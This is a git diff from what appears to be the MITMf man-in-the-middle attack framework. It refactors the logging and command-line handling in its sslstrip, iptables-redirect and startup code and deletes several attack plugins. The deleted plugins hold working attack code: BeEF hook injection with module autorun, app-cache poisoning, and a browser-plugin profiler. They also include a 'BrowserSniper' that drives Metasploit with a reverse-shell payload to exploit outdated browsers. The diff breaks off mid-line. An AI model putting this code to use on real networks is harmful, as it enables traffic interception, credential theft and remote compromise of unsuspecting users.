mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) + log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) @@ -206,7 +209,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - mitmf_logger.info("[ServerConnection] Client connection dropped before request finished.") + log.info("[ServerConnection] Client connection dropped before request finished.") def replaceSecureLinks(self, data): if self.hsts: @@ -214,7 +217,7 @@ class ServerConnection(HTTPClient): sustitucion = {} patchDict = self.urlMonitor.patchDict - if len(patchDict)>0: + if patchDict: dregex = re.compile("({})".format("|".join(map(re.escape, patchDict.keys())))) data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) @@ -222,12 +225,12 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[ServerConnection][HSTS] Found secure reference: " + url) - nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) + log.debug("[ServerConnection][HSTS] Found secure reference: " + url) + nuevaurl=self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url) + log.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl - if len(sustitucion)>0: + if sustitucion: dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys())))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) @@ -240,11 +243,11 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) + log.debug("[ServerConnection] Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') - self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url) data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) return re.sub(ServerConnection.urlType, 'http://', data) diff --git a/core/sslstrip/ServerConnectionFactory.py b/core/sslstrip/ServerConnectionFactory.py index a64c800..48feda5 100644 --- a/core/sslstrip/ServerConnectionFactory.py +++ b/core/sslstrip/ServerConnectionFactory.py @@ -17,9 +17,10 @@ # import logging + from twisted.internet.protocol import ClientFactory -mitmf_logger = logging.getLogger('mimtf') +log = logging.getLogger('mitmf') class ServerConnectionFactory(ClientFactory): @@ -34,12 +35,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") + log.debug("[ServerConnectionFactory] Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") + log.debug("[ServerConnectionFactory] Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 54b4bd5..6b266c5 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -18,9 +18,10 @@ import re, os import logging + from core.configwatcher import ConfigWatcher -mitmf_logger = logging.getLogger('mimtf') +log = logging.getLogger('mitmf') class URLMonitor: @@ -57,7 +58,7 @@ class URLMonitor: #This is here because I'm lazy def getResolverPort(self): - return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port']) + return int(ConfigWatcher().config['MITMf']['DNS']['port']) def isSecureLink(self, client, url): for expression in URLMonitor.javascriptTrickery: @@ -78,7 +79,7 @@ class URLMonitor: s.add(to_url) return url_set = set([from_url, to_url]) - mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set)) + log.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set)) self.redirects.append(url_set) def getRedirectionSet(self, url): @@ -119,7 +120,7 @@ class URLMonitor: else: self.sustitucion[host] = "web"+host self.real["web"+host] = host - mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) + log.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) url = 'http://' + host + path @@ -155,14 +156,14 @@ class URLMonitor: return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) def URLgetRealHost(self, host): - mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) + log.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) self.updateHstsConfig() if self.real.has_key(host): - mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) + log.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) return self.real[host] else: - mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) + log.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) return host diff --git a/core/utils.py b/core/utils.py index 42a9aa2..529c4fb 100644 --- a/core/utils.py +++ b/core/utils.py @@ -25,22 +25,23 @@ import logging import re import sys -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr, get_if_hwaddr from core.sergioproxy.ProxyPlugins import ProxyPlugins -mitmf_logger = logging.getLogger('mitmf') +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import get_if_addr, get_if_hwaddr + +log = logging.getLogger('mitmf') def shutdown(message=None): for plugin in ProxyPlugins.getInstance().plist: - plugin.finish() + plugin.on_shutdown() sys.exit(message) class SystemConfig: @staticmethod def setIpForwarding(value): - mitmf_logger.debug("[Utils] Setting ip forwarding to {}".format(value)) + log.debug("[Utils] Setting ip forwarding to {}".format(value)) with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: file.write(str(value)) file.close() @@ -53,7 +54,7 @@ class SystemConfig: shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface)) return ip_address - except Exception, e: + except Exception as e: shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e)) @staticmethod @@ -81,23 +82,23 @@ class IpTables: return IpTables._instance def Flush(self): - mitmf_logger.debug("[Utils] Flushing iptables") + log.debug("[Utils] Flushing iptables") os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') self.dns = False self.http = False def HTTP(self, http_redir_port): - mitmf_logger.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) + log.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) self.http = True def DNS(self, dns_redir_port): - mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) + log.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) self.dns = True def SMB(self, smb_redir_port): - mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) + log.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) self.smb = True @@ -163,6 +164,6 @@ class Banners: ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ """ - def printBanner(self): + def get_banner(self): banners = [self.banner1, self.banner2, self.banner3, self.banner4, self.banner5] - print random.choice(banners) \ No newline at end of file + return random.choice(banners) diff --git a/libs/bdfactory b/libs/bdfactory index 0bd3429..6fcff6b 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit 0bd3429e6775395c3522046ab21193a36ab2e0fe +Subproject commit 6fcff6bdb511ca306ec9ad29872342086714dd1d diff --git a/mitmf.py b/mitmf.py index 3ba5218..a2c8b7c 100755 --- a/mitmf.py +++ b/mitmf.py @@ -18,158 +18,102 @@ # USA # +import logging import argparse import sys import os -import logging import threading from twisted.web import http from twisted.internet import reactor -from core.sslstrip.CookieCleaner import CookieCleaner -from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners, SystemConfig, shutdown +from core.logger import logger + from plugins import * -Banners().printBanner() +print Banners().get_banner() if os.geteuid() != 0: - sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?") + sys.exit("[-] The derp is strong with this one") -mitmf_version = "0.9.7" -sslstrip_version = "0.9" -sergio_version = "0.2.1" - -parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') +parser = argparse.ArgumentParser(description="MITMf v0.9.8 - 'The Dark Side'", version="0.9.8 - 'The Dark Side'", usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") #add MITMf options mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") -mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") -mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use") +mgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") +mgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') -#add sslstrip options +#Add sslstrip options sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library") slogopts = sgroup.add_mutually_exclusive_group() -slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)") -slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.") -slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.") -sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)") +sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") +sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") -#Initialize plugins -plugin_classes = plugin.Plugin.__subclasses__() +#Initialize plugins and pass them the parser NameSpace object +plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()] -plugins = [] -try: - for p in plugin_classes: - plugins.append(p()) -except Exception as e: - print "[-] Failed to load plugin class {}: {}".format(p, e) - - -arg_dict = dict() #dict containing a plugin's optname with it's relative options - -#Give subgroup to each plugin with options -try: - for p in plugins: - if p.desc == "": - sgroup = parser.add_argument_group(p.name,"Options for {}.".format(p.name)) - else: - sgroup = parser.add_argument_group(p.name, p.desc) - - sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name)) - - if p.has_opts: - p.pluginOptions(sgroup) - - arg_dict[p.optname] = vars(sgroup)['_group_actions'] - -except NotImplementedError: - sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name)) - -if len(sys.argv) is 1: +if len(sys.argv) == 1: parser.print_help() sys.exit(1) -args = parser.parse_args() +options = parser.parse_args() -# Definitely a better way to do this, will need to clean this up in the future -# Checks to see if we called a plugin's options without first invoking the actual plugin -for plugin, options in arg_dict.iteritems(): - if vars(args)[plugin] is False: - for option in options: - if vars(args)[option.dest]: - sys.exit("[-] Called plugin options without invoking the actual plugin (--{})".format(plugin)) +#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object +options.ip = SystemConfig.getIP(options.interface) +options.mac = SystemConfig.getMAC(options.interface) -#check to see if we supplied a valid interface -myip = SystemConfig.getIP(args.interface) -mymac = SystemConfig.getMAC(args.interface) +#Set the log level +logger().log_level = logging.__dict__[options.log_level.upper()] +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger('mitmf', formatter) -#Start logging -log_level = logging.__dict__[args.log_level.upper()] - -logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -mitmf_logger = logging.getLogger('mitmf') -fileHandler = logging.FileHandler("./logs/mitmf.log") -fileHandler.setFormatter(logFormatter) -mitmf_logger.addHandler(fileHandler) - -##################################################################################################### - -#All our options should be loaded now, initialize the plugins -print "[*] MITMf v{} online... initializing plugins".format(mitmf_version) - -for p in plugins: - - #load only the plugins that have been called at the command line - if vars(args)[p.optname] is True: - - print "|_ {} v{}".format(p.name, p.version) - if p.tree_info: - for line in xrange(0, len(p.tree_info)): - print "| |_ {}".format(p.tree_info.pop()) - - p.initialize(args) - - if p.tree_info: - for line in xrange(0, len(p.tree_info)): - print "| |_ {}".format(p.tree_info.pop()) - - ProxyPlugins.getInstance().addPlugin(p) - -#Plugins are ready to go, let's rock & roll +from core.sslstrip.CookieCleaner import CookieCleaner +from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor -URLMonitor.getInstance().setFaviconSpoofing(args.favicon) -CookieCleaner.getInstance().setEnabled(args.killsessions) +URLMonitor.getInstance().setFaviconSpoofing(options.favicon) +CookieCleaner.getInstance().setEnabled(options.killsessions) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy -reactor.listenTCP(args.listen, strippingFactory) +reactor.listenTCP(options.listen_port, strippingFactory) -for p in ProxyPlugins.getInstance().plist: +#All our options should be loaded now, start initializing the plugins +print "[*] MITMf v0.9.8 - 'The Dark Side'" +for plugin in plugins: - p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it - p.startConfigWatch() + #load only the plugins that have been called at the command line + if vars(options)[plugin.optname] is True: - if hasattr(p, 'startThread'): - t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread) - t.setDaemon(True) - t.start() + print "|_ {} v{}".format(plugin.name, plugin.version) + if plugin.tree_info: + for line in xrange(0, len(plugin.tree_info)): + print "| |_ {}".format(plugin.tree_info.pop()) + + plugin.initialize(options) + + if plugin.tree_info: + for line in xrange(0, len(plugin.tree_info)): + print "| |_ {}".format(plugin.tree_info.pop()) + + ProxyPlugins.getInstance().addPlugin(plugin) + plugin.reactor(strippingFactory) + plugin.setup_logger() + plugin.start_config_watch() print "|" -print "|_ Sergio-Proxy v{} online".format(sergio_version) -print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) +print "|_ Sergio-Proxy v0.2.1 online" +print "|_ SSLstrip v0.9 by Moxie Marlinspike online" #Start Net-Creds from core.netcreds.NetCreds import NetCreds -NetCreds().start(args.interface, myip) +NetCreds().start(options.interface) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start DNSChef @@ -184,8 +128,8 @@ print "|_ DNSChef v{} online".format(DNSChef.version) #Start the SMB server from core.servers.smb.SMBserver import SMBserver -print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) SMBserver.getInstance().start() +print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) #start the reactor reactor.run() diff --git a/other_setup.sh b/other_setup.sh old mode 100644 new mode 100755 diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py deleted file mode 100644 index 296522f..0000000 --- a/plugins/AppCachePoison.py +++ /dev/null @@ -1,203 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import re -import os.path -import time -import sys - -from datetime import date -from plugins.plugin import Plugin -from core.sslstrip.URLMonitor import URLMonitor - -mitmf_logger = logging.getLogger("mitmf") - -class AppCachePlugin(Plugin): - name = "AppCachePoison" - optname = "appoison" - desc = "Performs App Cache Poisoning attacks" - version = "0.3" - has_opts = False - - def initialize(self, options): - self.options = options - self.mass_poisoned_browsers = [] - self.urlMonitor = URLMonitor.getInstance() - - self.urlMonitor.setAppCachePoisoning() - - def serverResponse(self, response, request, data): - - #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future - - self.app_config = self.config['AppCachePoison'] # so we reload the config on each request - url = request.client.uri - req_headers = request.client.getAllHeaders() - headers = request.client.responseHeaders - ip = request.client.getClientIP() - - ######################################################################### - - if "enable_only_in_useragents" in self.app_config: - regexp = self.app_config["enable_only_in_useragents"] - if regexp and not re.search(regexp,req_headers["user-agent"]): - mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"])) - return {'response': response, 'request': request, 'data': data} - - urls = self.urlMonitor.getRedirectionSet(url) - mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls)) - (name,s,element,url) = self.getSectionForUrls(urls) - - if s is False: - data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'response': response, 'request': request, 'data': data} - - mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name)) - p = self.getTemplatePrefix(s) - - if element == 'tamper': - mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p)) - if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace','r') - data = self.decorate(f.read(), s) - f.close() - - elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append','r') - appendix = self.decorate(f.read(), s) - f.close() - # append to body - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) - - # add manifest reference - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) - self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip - return data - - def getMassPoisonHtml(self): - html = "
" - for i in self.app_config: - if isinstance(self.app_config[i], dict): - if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False): - html += "" - - return html + "
" - - def cacheForFuture(self, headers): - ten_years = 315569260 - headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)]) - headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh - in_ten_years = date.fromtimestamp(time.time() + ten_years) - headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) - - def removeDangerousHeaders(self, headers): - headers.removeHeader("X-Frame-Options") - - def getSpoofedManifest(self, url, section): - p = self.getTemplatePrefix(section) - if not os.path.exists(p+'.manifest'): - p = self.getDefaultTemplatePrefix() - - f = open(p + '.manifest', 'r') - manifest = f.read() - f.close() - return self.decorate(manifest, section) - - def decorate(self, content, section): - for i in section: - content = content.replace("%%"+i+"%%", section[i]) - return content - - def getTemplatePrefix(self, section): - if section.has_key('templates'): - return self.app_config['templates_path'] + '/' + section['templates'] - - return self.getDefaultTemplatePrefix() - - def getDefaultTemplatePrefix(self): - return self.app_config['templates_path'] + '/default' - - def getManifestUrl(self, section): - return section.get("manifest_url",'/robots.txt') - - def getSectionForUrls(self, urls): - for url in urls: - for i in self.app_config: - if isinstance(self.app_config[i], dict): #section - section = self.app_config[i] - name = i - - if section.get('tamper_url',False) == url: - return (name, section, 'tamper',url) - - if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url): - return (name, section, 'tamper',url) - - if section.get('manifest_url',False) == url: - return (name, section, 'manifest',url) - - if section.get('raw_url',False) == url: - return (name, section, 'raw',url) - - return (None, False,'',urls.copy().pop()) diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py deleted file mode 100644 index 1ff520f..0000000 --- a/plugins/BeefAutorun.py +++ /dev/null @@ -1,122 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import sys -import json -import threading - -from time import sleep -from core.beefapi import BeefAPI -from core.utils import SystemConfig, shutdown -from plugins.plugin import Plugin -from plugins.Inject import Inject - -mitmf_logger = logging.getLogger("mitmf") - -class BeefAutorun(Inject, Plugin): - name = "BeEFAutorun" - optname = "beefauto" - desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" - version = "0.3" - has_opts = False - - def initialize(self, options): - self.options = options - self.ip_address = SystemConfig.getIP(options.interface) - - Inject.initialize(self, options) - - self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) - - beefconfig = self.config['MITMf']['BeEF'] - - self.html_payload = ''.format(self.ip_address, beefconfig['beefport']) - - self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if not self.beef.login(beefconfig['user'], beefconfig['pass']): - shutdown("[BeEFAutorun] Error logging in to BeEF!") - - def startThread(self): - self.autorun() - - def onConfigChange(self): - self.initialize(self.options) - - def autorun(self): - already_ran = [] - already_hooked = [] - - while True: - mode = self.config['BeEFAutorun']['mode'] - - for hook in self.beef.hooked_browsers.online: - - if hook.session not in already_hooked: - mitmf_logger.info("{} [BeEFAutorun] Joined the horde! [id:{}, type:{}-{}, os:{}]".format(hook.ip, hook.id, hook.name, hook.version, hook.os)) - already_hooked.append(hook.session) - self.black_ips.append(hook.ip) - - if mode == 'oneshot': - if hook.session not in already_ran: - self.execModules(hook) - already_ran.append(hook.session) - - elif mode == 'loop': - self.execModules(hook) - sleep(10) - - sleep(1) - - def execModules(self, hook): - all_modules = self.config['BeEFAutorun']["ALL"] - targeted_modules = self.config['BeEFAutorun']["targets"] - - if all_modules: - mitmf_logger.info("{} [BeEFAutorun] Sending generic modules".format(hook.ip)) - - for module, options in all_modules.iteritems(): - - for m in self.beef.modules.findbyname(module): - resp = m.run(hook.session, json.loads(options)) - - if resp["success"] == 'true': - mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) - else: - mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) - - sleep(0.5) - - if (hook.name and hook.os): - for os in targeted_modules: - if (os == hook.os) or (os in hook.os): - mitmf_logger.info("{} [BeEFAutorun] Sending targeted modules".format(hook.ip)) - - for browser in targeted_modules[os]: - if browser == hook.name: - for module, options in targeted_modules[os][browser].iteritems(): - for m in self.beef.modules.findbyname(module): - resp = m.run(hook.session, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) - else: - mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) - - sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py deleted file mode 100644 index aa831f4..0000000 --- a/plugins/BrowserProfiler.py +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import logging - -from pprint import pformat -from plugins.plugin import Plugin -from plugins.Inject import Inject - -mitmf_logger = logging.getLogger("mitmf") - -class BrowserProfiler(Inject, Plugin): - name = "BrowserProfiler" - optname = "browserprofiler" - desc = "Attempts to enumerate all browser plugins of connected clients" - version = "0.3" - has_opts = False - - def initialize(self, options): - self.output = {} # so other plugins can access the results - - Inject.initialize(self, options) - self.html_payload = self.get_payload() - - def post2dict(self, post): #converts the ajax post to a dic - d = dict() - for line in post.split('&'): - t = line.split('=') - d[t[0]] = t[1] - return d - - def clientRequest(self, request): - #Handle the plugin output - if 'clientprfl' in request.uri: - request.printPostData = False - - self.output = self.post2dict(request.postData) - self.output['ip'] = request.client.getClientIP() - self.output['useragent'] = request.clientInfo - - if self.output['plugin_list']: - self.output['plugin_list'] = self.output['plugin_list'].split(',') - - pretty_output = pformat(self.output) - mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output)) - - def get_payload(self): - plugindetect = open("./core/javascript/plugindetect.js", 'r').read() - return '' diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py deleted file mode 100644 index c338908..0000000 --- a/plugins/BrowserSniper.py +++ /dev/null @@ -1,194 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import string -import random -import logging - -from time import sleep -from core.msfrpc import Msf -from core.utils import SystemConfig, shutdown -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler - -mitmf_logger = logging.getLogger("mitmf") - -class BrowserSniper(BrowserProfiler, Plugin): - name = "BrowserSniper" - optname = "browsersniper" - desc = "Performs drive-by attacks on clients with out-of-date browser plugins" - version = "0.4" - has_opts = False - - def initialize(self, options): - self.options = options - self.msfip = SystemConfig.getIP(options.interface) - self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - - msfversion = Msf().version() - self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - - def startThread(self): - self.snipe() - - def onConfigChange(self): - self.initialize(self.options) - - def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) - - def _getRandPort(self): - return random.randint(1000, 65535) - - def _setupExploit(self, exploit, msfport): - - rand_url = self._genRandURL() - rand_port = self._getRandPort() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/{}\n".format(exploit) - cmd += "set SRVPORT {}\n".format(msfport) - cmd += "set URIPATH {}\n".format(rand_url) - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST {}\n".format(self.msfip) - cmd += "set LPORT {}\n".format(rand_port) - cmd += "set ExitOnSession False\n" - cmd += "exploit -j\n" - - Msf().sendcommand(cmd) - - return (rand_url, rand_port) - - def _compat_system(self, os_config, brw_config): - os = self.output['useragent'][0].lower() - browser = self.output['useragent'][1].lower() - - if (os_config == 'any') and (brw_config == 'any'): - return True - - if (os_config == 'any') and (brw_config in browser): - return True - - if (os_config in os) and (brw_config == 'any'): - return True - - if (os_config in os) and (brw_config in browser): - return True - - return False - - def getExploits(self): - exploits = list() - vic_ip = self.output['ip'] - - #First get the client's info - java = None - if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'): - java = self.output['java_version'] - - flash = None - if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'): - flash = self.output['flash_version'] - - mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash)) - - for exploit, details in self.config['BrowserSniper'].iteritems(): - - if self._compat_system(details['OS'].lower(), details['Browser'].lower()): - - if details['Type'].lower() == 'browservuln': - exploits.append(exploit) - - elif details['Type'].lower() == 'pluginvuln': - - if details['Plugin'].lower() == 'java': - if (java is not None) and (java in details['PluginVersions']): - exploits.append(exploit) - - elif details['Plugin'].lower() == 'flash': - - if (flash is not None) and (flash in details['PluginVersions']): - exploits.append(exploit) - - mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits)) - return exploits - - def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions - - #inject iframe - mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip)) - self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects - - #The following will poll Metasploit every 2 seconds for new 